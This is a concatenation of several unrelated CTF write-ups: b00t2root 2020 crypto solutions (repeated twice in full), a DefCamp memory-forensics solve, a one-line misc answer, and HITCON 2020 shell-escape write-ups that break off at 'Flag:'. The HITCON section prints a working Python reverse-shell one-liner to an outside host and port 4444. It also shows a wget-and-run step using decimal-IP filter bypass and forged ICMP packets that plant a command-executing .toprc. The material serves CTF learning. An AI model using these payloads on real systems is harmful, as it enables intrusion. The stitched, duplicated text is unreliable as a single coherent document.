# b00t2root 2020 CTF - Crypto Challenges I represent to you my writeups for all Crypto challenges from b00t2root 2020 CTF.![2020-12-07 00_50_28-boot2root](https://user-images.githubusercontent.com/62826765/101377456-215cdc00-38b2-11eb-9146-1ada39a974df.png) ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 1 : _Try try but don't cry_![2020-12-07 17_39_03-boot2root](https://user-images.githubusercontent.com/62826765/101378399-54ec3600-38b3-11eb-9461-bc4896baa4c4.png) We were given a source code :```pythonimport randomdef xor(a,b): l="" for i in range(min(len(a), len(b))): l+=chr(ord(a[i]) ^ ord(b[i])) return l def encrypt(flag): l=random.randrange(2) if(l==0): return flag.encode('base64') elif(l==1): return flag.encode('hex') flag="################"assert(len(flag)==22)c=xor(flag[:11], flag[11:])c=c.encode('hex') n=random.randint(1,20)#print(n) for _ in range(n): c=encrypt(c) f=open('chall.txt', 'w')f.write(c)f.close()```The main problem here is that we don't know when it's Base64 or Hex. So i just wrote a script to decode it manualy by entering H if it's Hex or B if it's Base64, then since i know a part of the flag which is "_b00t2root{}_" with length **11**, I can retrive the flag. **Solver :**```pythonfrom pwn import xorimport base64 cipher = open("chall.txt").read().strip() while len(cipher) != 22: print(cipher) ans = input('> ').strip() if ans == 'H': cipher = bytes.fromhex(cipher).decode() elif ans == 'B': cipher = base64.b64decode(cipher).decode() cipher = bytes.fromhex(cipher).decode()s = b"b00t2root{"s += xor(cipher[-1], '}')t = xor(s, cipher[:len(s)])flag = s+tprint(flag)```![2020-12-07 18_05_58-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101381366-f3c66180-38b6-11eb-91fe-c6b60ddc5f62.png) FLAG is **_b00t2root{fantasticcc}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 2 : _Euler's Empire_![2020-12-07 18_13_22-boot2root](https://user-images.githubusercontent.com/62826765/101382177-f07fa580-38b7-11eb-813d-b948caa5d38d.png) I'll skip this cause it's almost the same challenge as [Time Capsule](https://github.com/pberba/ctf-solutions/blob/master/20190810-crytoctf/crypto-122-time-capsule/time-capsule-solution.ipynb) from Crypto CTF 2019. FLAG is **_b00t2root{Eul3r_w4s_4_G3niu5}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 3 : _007_![2020-12-07 18_29_27-boot2root](https://user-images.githubusercontent.com/62826765/101384040-33db1380-38ba-11eb-9b9c-45e1c41708f9.png) We were given a source code :```pythonimport randomdef rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) def encrypt(c): cipher = c x=random.randint(1,1000) for i in range(x): cipher = rot(cipher, random.randint(1,26)) cipher = cipher.encode('base64') l = "" for i in range(len(cipher)): l += xor(cipher[i], cipher[(i+1)%len(cipher)]) return l.encode('base64') flag = "#################"print "cipher =", encrypt(flag) #OUTPUT: cipher = MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=```To reverse the xor loop, we have to know the first character of the _cipher_. It should be in [a-z], so with simple bruteforce we can retrieve the correct rotated string. Then we try all rotations from 1 to 26 and get the flag. **Solver :**```pythonimport randomimport base64 def rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) enc = base64.b64decode("MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=").decode('latin-1') for i in range(97,123): xored = chr(i) j = -1 while j != -len(enc): xored = xor(enc[j],xored[0]) + xored j -= 1 xored = xored[-1] + xored[:-1] try: res = base64.b64decode(xored).decode() for i in range(1, 26): flag = rot(res, i) if "b00t2root{" in flag: print(flag) except: pass``` FLAG is **_b00t2root{Bond. James Bond.}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 4 : _brokenRSA_![2020-12-07 21_55_33-boot2root](https://user-images.githubusercontent.com/62826765/101519634-b7146c00-3983-11eb-9984-0167017a9899.png) We were given a source code :```pythonfrom Crypto.Util.number import *import randome = 4def func(m): while(True): n = getPrime(512) x = pow(m, e, n) if(pow(x, (n-1)//2, n) == 1): return n flag = bytes_to_long(b"############################")n = func(flag)print("n =", n)print("c =", pow(flag, e, n)) # OUTPUT# n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639# c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280```We can observe that the modulus ```n``` is a prime number. So since the exponent ```e``` is a power of 2, we can take consecutive square roots to find the eth root.Therefore we will use [Tonelli Shanks Algorithm](https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm) to compute module square roots and convert each one to get the correct flag. **Solver :**```pythonfrom Crypto.Util.number import long_to_bytes n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280e = 4 def legendre(a, p): return pow(a, (p - 1) // 2, p) def tonelli(n, p): assert legendre(n, p) == 1, "not a square (mod p)" q = p - 1 s = 0 while q % 2 == 0: q //= 2 s += 1 if s == 1: return pow(n, (p + 1) // 4, p) for z in range(2, p): if p - 1 == legendre(z, p): break c = pow(z, q, p) r = pow(n, (q + 1) // 2, p) t = pow(n, q, p) m = s t2 = 0 while (t - 1) % p != 0: t2 = (t * t) % p for i in range(1, m): if (t2 - 1) % p == 0: break t2 = (t2 * t2) % p b = pow(c, 1 << (m - i - 1), p) r = (r * b) % p c = (b * b) % p t = (t * c) % p m = i return r def find_square_roots(c, e): if e == 1: flag = long_to_bytes(c) if b"b00t2root" in flag: print(flag) return elif pow(c,(n-1)//2,n) != 1: return else: rt1 = tonelli(c, n) find_square_roots(rt1, e//2) rt2 = n - rt1 find_square_roots(rt2, e//2) return find_square_roots(c, e)``` FLAG is **_b00t2root{finally_legendre_symbol_came_in_handy}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 5 : _The Heist_![2020-12-07 21_55_49-boot2root](https://user-images.githubusercontent.com/62826765/101521105-a36a0500-3985-11eb-9605-65011955feef.png) We were given a netcat server and a source code of the program running on it :```pythonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad,unpadimport binasciiimport sys key = b"****************"iv = keyflag = "***********************" def encrypt(str1): obj = AES.new(key, AES.MODE_CBC, iv) str1 = pad(str1,16) ciphertext = obj.encrypt(str1) return binascii.hexlify(ciphertext) def decrypt(str2): obj=AES.new(key, AES.MODE_CBC, iv) plaintext=obj.decrypt(str2) return binascii.hexlify(plaintext) s="""1. Enter key and get flag2. Encrypt plaintext3. Decrypt ciphertext Enter option: """ while(True): try: print(s, end='') opt=int(input()) if(opt==1): KEY = input("Enter hex key: ") KEY = binascii.unhexlify(KEY) if(KEY==key): print(flag) break; elif(opt==2): pt = input("Enter hex plaintext: ") pt = pt.encode('utf-8') pt = binascii.unhexlify(pt) print("Ciphertext: ", encrypt(pt).decode('utf-8')) elif(opt==3): ct = input("Enter hex ciphertext: ") ct = ct.encode('utf-8') ct = binascii.unhexlify(ct) print("Plaintext: ", decrypt(ct).decode('utf-8')) else: print("The input should be in between 1 and 3") except: print("Error")```When we connect to the server, it gives us 3 choices : ![2020-12-08 19_18_03-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101524398-28efb400-398a-11eb-8318-1b204380042e.png) The encryption/decryption is based on AES CBC mode. To get the flag we should retrieve the _KEY_. We can see that ```IV = KEY``` so we need to know the value of _IV_ in order to get the _KEY_. Let's do some analysis : Suppose we encrypt a plaintext with 3 blocks (48 bytes) and we get our ciphertext. Now we are going to decrypt it, so the equations for each plaintext block will be :```P1 = D(C1) xor IVP2 = D(C2) xor C1P3 = D(C3) xor C2```When C1 = C3 and C2 is an empty block (which means 16*"\x00"), then :```P1 = D(C1) xor IVP3 = D(C3) xor 0 = D(C3) = D(C1)```So by xoring P1 and P3 we get the _IV_. **Solver :**```pythonfrom pwn import * cipher = "414141414141414141414141414141410000000000000000000000000000000041414141414141414141414141414141" conn = remote("157.230.237.229",2200)conn.recvuntil("Enter option: ")conn.sendline('3')conn.recvuntil("Enter hex ciphertext: ")conn.sendline(cipher) plaintext = conn.recvline().decode().strip().split(' ')[2]plaintext = bytes.fromhex(plaintext)IV = xor(plaintext[0:16],plaintext[32:48]).hex() conn.recvuntil("Enter option: ")conn.sendline('1')conn.recvuntil("Enter hex key: ")conn.sendline(IV) flag = conn.recv().strip().decode()print(flag)```![2020-12-08 19_35_16-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101526169-98ff3980-398c-11eb-9018-cdb00b89c41d.png) FLAG is **_b00t2root{th3y_4r3_g0ing_t0_k1ll_u5}_**
# b00t2root 2020 CTF - Crypto Challenges I represent to you my writeups for all Crypto challenges from b00t2root 2020 CTF.![2020-12-07 00_50_28-boot2root](https://user-images.githubusercontent.com/62826765/101377456-215cdc00-38b2-11eb-9146-1ada39a974df.png) ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 1 : _Try try but don't cry_![2020-12-07 17_39_03-boot2root](https://user-images.githubusercontent.com/62826765/101378399-54ec3600-38b3-11eb-9461-bc4896baa4c4.png) We were given a source code :```pythonimport randomdef xor(a,b): l="" for i in range(min(len(a), len(b))): l+=chr(ord(a[i]) ^ ord(b[i])) return l def encrypt(flag): l=random.randrange(2) if(l==0): return flag.encode('base64') elif(l==1): return flag.encode('hex') flag="################"assert(len(flag)==22)c=xor(flag[:11], flag[11:])c=c.encode('hex') n=random.randint(1,20)#print(n) for _ in range(n): c=encrypt(c) f=open('chall.txt', 'w')f.write(c)f.close()```The main problem here is that we don't know when it's Base64 or Hex. So i just wrote a script to decode it manualy by entering H if it's Hex or B if it's Base64, then since i know a part of the flag which is "_b00t2root{}_" with length **11**, I can retrive the flag. **Solver :**```pythonfrom pwn import xorimport base64 cipher = open("chall.txt").read().strip() while len(cipher) != 22: print(cipher) ans = input('> ').strip() if ans == 'H': cipher = bytes.fromhex(cipher).decode() elif ans == 'B': cipher = base64.b64decode(cipher).decode() cipher = bytes.fromhex(cipher).decode()s = b"b00t2root{"s += xor(cipher[-1], '}')t = xor(s, cipher[:len(s)])flag = s+tprint(flag)```![2020-12-07 18_05_58-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101381366-f3c66180-38b6-11eb-91fe-c6b60ddc5f62.png) FLAG is **_b00t2root{fantasticcc}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 2 : _Euler's Empire_![2020-12-07 18_13_22-boot2root](https://user-images.githubusercontent.com/62826765/101382177-f07fa580-38b7-11eb-813d-b948caa5d38d.png) I'll skip this cause it's almost the same challenge as [Time Capsule](https://github.com/pberba/ctf-solutions/blob/master/20190810-crytoctf/crypto-122-time-capsule/time-capsule-solution.ipynb) from Crypto CTF 2019. FLAG is **_b00t2root{Eul3r_w4s_4_G3niu5}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 3 : _007_![2020-12-07 18_29_27-boot2root](https://user-images.githubusercontent.com/62826765/101384040-33db1380-38ba-11eb-9b9c-45e1c41708f9.png) We were given a source code :```pythonimport randomdef rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) def encrypt(c): cipher = c x=random.randint(1,1000) for i in range(x): cipher = rot(cipher, random.randint(1,26)) cipher = cipher.encode('base64') l = "" for i in range(len(cipher)): l += xor(cipher[i], cipher[(i+1)%len(cipher)]) return l.encode('base64') flag = "#################"print "cipher =", encrypt(flag) #OUTPUT: cipher = MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=```To reverse the xor loop, we have to know the first character of the _cipher_. It should be in [a-z], so with simple bruteforce we can retrieve the correct rotated string. Then we try all rotations from 1 to 26 and get the flag. **Solver :**```pythonimport randomimport base64 def rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) enc = base64.b64decode("MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=").decode('latin-1') for i in range(97,123): xored = chr(i) j = -1 while j != -len(enc): xored = xor(enc[j],xored[0]) + xored j -= 1 xored = xored[-1] + xored[:-1] try: res = base64.b64decode(xored).decode() for i in range(1, 26): flag = rot(res, i) if "b00t2root{" in flag: print(flag) except: pass``` FLAG is **_b00t2root{Bond. James Bond.}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 4 : _brokenRSA_![2020-12-07 21_55_33-boot2root](https://user-images.githubusercontent.com/62826765/101519634-b7146c00-3983-11eb-9984-0167017a9899.png) We were given a source code :```pythonfrom Crypto.Util.number import *import randome = 4def func(m): while(True): n = getPrime(512) x = pow(m, e, n) if(pow(x, (n-1)//2, n) == 1): return n flag = bytes_to_long(b"############################")n = func(flag)print("n =", n)print("c =", pow(flag, e, n)) # OUTPUT# n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639# c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280```We can observe that the modulus ```n``` is a prime number. So since the exponent ```e``` is a power of 2, we can take consecutive square roots to find the eth root.Therefore we will use [Tonelli Shanks Algorithm](https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm) to compute module square roots and convert each one to get the correct flag. **Solver :**```pythonfrom Crypto.Util.number import long_to_bytes n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280e = 4 def legendre(a, p): return pow(a, (p - 1) // 2, p) def tonelli(n, p): assert legendre(n, p) == 1, "not a square (mod p)" q = p - 1 s = 0 while q % 2 == 0: q //= 2 s += 1 if s == 1: return pow(n, (p + 1) // 4, p) for z in range(2, p): if p - 1 == legendre(z, p): break c = pow(z, q, p) r = pow(n, (q + 1) // 2, p) t = pow(n, q, p) m = s t2 = 0 while (t - 1) % p != 0: t2 = (t * t) % p for i in range(1, m): if (t2 - 1) % p == 0: break t2 = (t2 * t2) % p b = pow(c, 1 << (m - i - 1), p) r = (r * b) % p c = (b * b) % p t = (t * c) % p m = i return r def find_square_roots(c, e): if e == 1: flag = long_to_bytes(c) if b"b00t2root" in flag: print(flag) return elif pow(c,(n-1)//2,n) != 1: return else: rt1 = tonelli(c, n) find_square_roots(rt1, e//2) rt2 = n - rt1 find_square_roots(rt2, e//2) return find_square_roots(c, e)``` FLAG is **_b00t2root{finally_legendre_symbol_came_in_handy}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 5 : _The Heist_![2020-12-07 21_55_49-boot2root](https://user-images.githubusercontent.com/62826765/101521105-a36a0500-3985-11eb-9605-65011955feef.png) We were given a netcat server and a source code of the program running on it :```pythonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad,unpadimport binasciiimport sys key = b"****************"iv = keyflag = "***********************" def encrypt(str1): obj = AES.new(key, AES.MODE_CBC, iv) str1 = pad(str1,16) ciphertext = obj.encrypt(str1) return binascii.hexlify(ciphertext) def decrypt(str2): obj=AES.new(key, AES.MODE_CBC, iv) plaintext=obj.decrypt(str2) return binascii.hexlify(plaintext) s="""1. Enter key and get flag2. Encrypt plaintext3. Decrypt ciphertext Enter option: """ while(True): try: print(s, end='') opt=int(input()) if(opt==1): KEY = input("Enter hex key: ") KEY = binascii.unhexlify(KEY) if(KEY==key): print(flag) break; elif(opt==2): pt = input("Enter hex plaintext: ") pt = pt.encode('utf-8') pt = binascii.unhexlify(pt) print("Ciphertext: ", encrypt(pt).decode('utf-8')) elif(opt==3): ct = input("Enter hex ciphertext: ") ct = ct.encode('utf-8') ct = binascii.unhexlify(ct) print("Plaintext: ", decrypt(ct).decode('utf-8')) else: print("The input should be in between 1 and 3") except: print("Error")```When we connect to the server, it gives us 3 choices : ![2020-12-08 19_18_03-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101524398-28efb400-398a-11eb-8318-1b204380042e.png) The encryption/decryption is based on AES CBC mode. To get the flag we should retrieve the _KEY_. We can see that ```IV = KEY``` so we need to know the value of _IV_ in order to get the _KEY_. Let's do some analysis : Suppose we encrypt a plaintext with 3 blocks (48 bytes) and we get our ciphertext. Now we are going to decrypt it, so the equations for each plaintext block will be :```P1 = D(C1) xor IVP2 = D(C2) xor C1P3 = D(C3) xor C2```When C1 = C3 and C2 is an empty block (which means 16*"\x00"), then :```P1 = D(C1) xor IVP3 = D(C3) xor 0 = D(C3) = D(C1)```So by xoring P1 and P3 we get the _IV_. **Solver :**```pythonfrom pwn import * cipher = "414141414141414141414141414141410000000000000000000000000000000041414141414141414141414141414141" conn = remote("157.230.237.229",2200)conn.recvuntil("Enter option: ")conn.sendline('3')conn.recvuntil("Enter hex ciphertext: ")conn.sendline(cipher) plaintext = conn.recvline().decode().strip().split(' ')[2]plaintext = bytes.fromhex(plaintext)IV = xor(plaintext[0:16],plaintext[32:48]).hex() conn.recvuntil("Enter option: ")conn.sendline('1')conn.recvuntil("Enter hex key: ")conn.sendline(IV) flag = conn.recv().strip().decode()print(flag)```![2020-12-08 19_35_16-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101526169-98ff3980-398c-11eb-9018-cdb00b89c41d.png) FLAG is **_b00t2root{th3y_4r3_g0ing_t0_k1ll_u5}_**
# spy agents (forensics, 293p, 30 solved) ## Description ```A malicious application was sent to our target, who managed to have it before we confiscated the PC. Can you manage to obtain the secret message? Flag format: ctf{sha256(location name from coordinates in lowercase)}``` In the task we get a 1GB image file (not attached) ## Task analysis First problem was `what even is this file`.It seemed like MBR file, but we could not mount or unpack it.Binwalk was also not very helpful, because from quick glance in hexeditor it was clear that while there are some files, they are not in `continuous` blocks. After some time we found that it might be `fmem` dump file. ### Volatility to the rescue Since its's a memdump, we tried to do something using volatility and it worked. ```volatility_2.6.exe -f spyagency3.img --profile Win7SP1x64 pslistVolatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8000c9d040 System 4 0 82 493 ------ 0 2020-12-04 23:43:09 UTC+00000xfffffa8001d61b30 smss.exe 248 4 2 29 ------ 0 2020-12-04 23:43:09 UTC+00000xfffffa8001d34060 csrss.exe 320 312 8 375 0 0 2020-12-04 23:43:12 UTC+00000xfffffa8002227060 wininit.exe 368 312 3 74 0 0 2020-12-04 23:43:12 UTC+00000xfffffa800238d060 csrss.exe 380 360 7 155 1 0 2020-12-04 23:43:12 UTC+00000xfffffa80025ae7d0 winlogon.exe 420 360 3 111 1 0 2020-12-04 23:43:12 UTC+00000xfffffa800244c910 services.exe 464 368 10 190 0 0 2020-12-04 23:43:12 UTC+00000xfffffa8002652b30 lsass.exe 476 368 7 543 0 0 2020-12-04 23:43:12 UTC+00000xfffffa8002663b30 lsm.exe 484 368 10 140 0 0 2020-12-04 23:43:12 UTC+00000xfffffa800272b810 svchost.exe 588 464 10 347 0 0 2020-12-04 23:43:12 UTC+00000xfffffa8002494890 svchost.exe 652 464 9 257 0 0 2020-12-04 23:43:13 UTC+00000xfffffa800278fb30 svchost.exe 704 464 21 526 0 0 2020-12-04 23:43:13 UTC+00000xfffffa80027d1b30 svchost.exe 812 464 23 452 0 0 2020-12-04 23:43:13 UTC+00000xfffffa8002808060 svchost.exe 860 464 30 926 0 0 2020-12-04 23:43:13 UTC+00000xfffffa800283bb30 svchost.exe 972 464 16 436 0 0 2020-12-04 23:43:13 UTC+00000xfffffa8002679800 svchost.exe 280 464 15 357 0 0 2020-12-04 23:43:13 UTC+00000xfffffa800286eb30 spoolsv.exe 1016 464 12 274 0 0 2020-12-04 23:43:13 UTC+00000xfffffa80029bc890 svchost.exe 1064 464 18 296 0 0 2020-12-04 23:43:13 UTC+00000xfffffa8002a1f8a0 taskhost.exe 1136 464 8 144 1 0 2020-12-04 23:43:13 UTC+00000xfffffa8002a72b30 sppsvc.exe 1584 464 4 143 0 0 2020-12-04 23:43:14 UTC+00000xfffffa8002c58b30 GoogleCrashHan 1932 1900 5 97 0 1 2020-12-04 23:43:15 UTC+00000xfffffa8002c5db30 GoogleCrashHan 1940 1900 5 90 0 0 2020-12-04 23:43:15 UTC+00000xfffffa8002a79360 dwm.exe 1996 812 3 69 1 0 2020-12-04 23:45:14 UTC+00000xfffffa8002541530 explorer.exe 648 1896 35 892 1 0 2020-12-04 23:45:14 UTC+00000xfffffa8002bf7280 svchost.exe 1092 464 18 276 0 0 2020-12-04 23:45:14 UTC+00000xfffffa8002cc4060 svchost.exe 772 464 13 318 0 0 2020-12-04 23:45:15 UTC+00000xfffffa8002c70350 wmpnetwk.exe 1088 464 13 402 0 0 2020-12-04 23:45:15 UTC+00000xfffffa8000e03b30 SearchIndexer. 1864 464 11 620 0 0 2020-12-04 23:45:16 UTC+00000xfffffa8000ef3820 svchost.exe 2088 464 4 167 0 0 2020-12-04 23:45:52 UTC+00000xfffffa8000dfb060 taskeng.exe 2928 860 5 81 0 0 2020-12-04 23:55:15 UTC+00000xfffffa8002be5340 SearchProtocol 2072 1864 8 279 0 0 2020-12-04 23:57:11 UTC+00000xfffffa8000e974e0 SearchFilterHo 2064 1864 5 96 0 0 2020-12-04 23:57:11 UTC+0000``` We've already noticed from initial analysis that there is some `APK` file on the target, so we need to get that. First we tried generic ```volatility_2.6.exe -f spyagency3.img --profile Win7SP1x64 dumpfiles --dump-dir files``` But it just dropped lots of windows exe/dlls, and not the zipped APK we wanted. Then we did: ```volatility_2.6.exe -f spyagency3.img --profile Win7SP1x64 filescan``` And we got some interesting hits with `app-release.apk`.We then used the offsets to dump those specific entries and one worked: ```volatility_2.6.exe -f spyagency3.img --profile Win7SP1x64 dumpfiles -Q 0x000000003fefb8c0 --dump-dir files``` From this we finally have the [apk](https://github.com/TFNS/writeups/raw/master/2020-12-05-DefCampCTF/spy/app-release.apk.zip). ### APK analysis It's a bit weird re-packed apk, so we can extract it and then ZIP again just the contents if we want to try running it, but it's not useful.We dropped this into BytecodeViewer just to see that the app does literally nothing. But we need some `coordinates`, so we look around and there is `app-release/res/drawable/coordinates_can_be_found_here.jpg` file: ![](https://raw.githubusercontent.com/TFNS/writeups/master/2020-12-05-DefCampCTF/spy/coordinates_can_be_found_here.jpg) Now you could be thinking that we need to find the location shown on the picture, but nope.If you look at the file via hexeditor there is: ```˙Ř˙ŕ..JFIF..........˙ţ.4-coordinates=44.44672703736637, 26.098652847616506˙Ű.„..``` So we have 44.44672703736637, 26.098652847616506 and dropped into google maps we get https://www.google.com/maps/place/44%C2%B026'48.2%22N+26%C2%B005'55.2%22E/@44.446727,26.0964641,17z/data=!3m1!4b1!4m5!3m4!1s0x0:0x0!8m2!3d44.446727!4d26.0986528 Which is a pizza hut in Bucharest. ## Guessing the flag Last step was just to guess what author had in mind by `location name from coordinates in lowercase`, but eventually we guess `pizzahut` and submit `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}`
1. Edit the vuln value from 0 to your target number (in this case we change to 13 lucky number) ![](https://i.ibb.co/4m2qFpx/Screenshot-1.jpg) 2. Enter 13 to get the flag ![](https://i.ibb.co/kqQZqQr/Screenshot-2.jpg) ```b00t2root{python2_vuln}```
# HITCON CTF 2020 Misc Challenges This weeked I played HITCON CTF 2020 with the team [Organizers](https://ctftime.org/team/42934). Everyone put in an incredible effort and we were excited to place 5th among the best CTF teams in the world. ![](images/scoreboard.png) What follows are brief writeups of the very enjoyable Misc shell escape challenges. I learned a lot from these challenges and from sharing ideas with the rest of the team. Several others contributed to solving including jkr, Robin_Jadoul, mrtumble, esrever, and mev. ## oShell (280pts) #### The Setup - We login to an SSH session and have to provide a password and a token to launch a container isolated for our own team. `sshpass -p 'oshell' ssh [email protected]` makes this a little more comfortable. - Typing `help`, we only have access to the following programs: `help exit id ping ping6 traceroute traceroute6 arp netstat top htop enable` - The `enable` program looks interesting, and it prompts us for a password. #### Tracing with htop - We realise that `htop` has `strace` functionality built-in. In a second SSH session, we can type `s` when selecting the `oShell.py` process which is running `enable`, then see the password in the `readv` syscall there. - Using tmux to copy and paste the password into the enable prompt unlocks two new programs `ifconfig` and `tcpdump`. - There's a 5 minute timeout for our container, and the enable password changes each time, making this part of the challenge a little frustrating. #### Command execution with toprc - We need to find a way to execute an arbitrary command. We find that `top` uses an `.toprc` file which contains commands that can be used in an obscure "inspect mode", and has some unusual parsing rules which work in our favour. - The first line of `.toprc` is ignored, then there's some settings that apparently need to exist, and then there's a line starting `Fixed_widest=0`. Anything appended after that line is ignored unless it matches a line format such as `pipe\txxx\tdate`. That line allows us to run the date command from within top by pressing `Yxxx` to enter "inspect mode". - However currently we have no way to write arbitrary data to a file. #### ICMP echo replies - We know that we can write packet capture data with `tcpdump` using its `-w` flag, and that we can put data in ICMP packets using the `ping` command. But the busybox version of ping we have here only supports a single repeated byte in the payload field. - The oShell machine does have outbound connectivity though. Therefore we can ping our own box, then forge an ICMP echo reply that contains an entire valid `.toprc` in the payload field. - We can tcpdump this echo reply into the oShell user's `.toprc`. As long as the ICMP header doesn't includes a newline character, the packet data (up to the first newline) will be ignored and the `.toprc` packet capture will be valid. - [This article](https://subscription.packtpub.com/book/networking_and_servers/9781786467454/1/ch01lvl1sec20/crafting-icmp-echo-replies-with-nping) is helpful in showing how to use nmap's `nping` to forge an echo reply. We should use `sudo bash -c 'echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all'` to disable normal ICMP echo replies from the kernel. #### The exploit - tcpdump command run on oShell: `tcpdump -i eth0 -w /home/oShell/.toprc -c1 src 46.101.55.21`. The `-c1` tells it to stop recording after a single packet. - nping command run on our own box: `sudo nping --icmp -c 1 --icmp-type 0 --icmp-code 0 --source-ip 46.101.55.21 --dest-ip 54.150.148.61 --icmp-seq 0 --data $(cat oshell_payload | xxd -p | tr -d "\n") --icmp-id $ICMP_ID`. - The ICMP ID must match the ID of the echo request packet (to pass through the networking stack on the oShell machine), so we also use `sudo tcpdump src 54.150.148.61 and icmp` on our own box to see the incoming ID and adjust the `nping` command accordingly. - After sending the echo reply, run `top` and enter `Y`, then running the command should give a reverse shell! From there we can easily call `/readflag`. If it doesn't work there may have been a newline character in the ICMP echo reply header, so we just try again. Flag: `hitcon{A! AAAAAAAAAAAA! SHAR~K!!!}` ## Baby Shock (201pts) #### The Setup - We type `help` and find the only available programs are `pwd ls mkdir netstat sort printf exit help id mount df du find history touch` - We are inside a Python shell that applies restrictions on our standard input then executes them inside a `busybox sh`. - After manual fuzzing, we find that all shell special characters are blocked apart from `.:;()`. It seems we can only use a single `.` in our command line. - Our command line must start with one of the allowed programs, but there's not much we can do with them (since dash is blocked we can't use option flags). #### Command separation - We find we can use `;` to terminate a command then run a second command (this can optionally be done inside a subshell with `()`). The second command is not subject to the same program restrictions as the first one. - So we can use `pwd ; nc 778385173 4444` to connect to our own server. Decimal IP notation means we can get around the restriction on more than one `.`. - We can't plug netcat into a shell as we can't use `-e` or other techniques. #### Wgetting a shell - On our own box we can write a Python reverse shell payload to `index.html` and host it with `python3 -m http.server`:```python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("46.101.55.21",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'``` - Then we can `pwd ; wget 778385173:8000` to pull down our payload into the wget default filename `index.html`. - We execute this with `pwd ; sh index.html` to get a reverse shell with no restrictions. - From there we just call the `/getflag` binary. Flag: 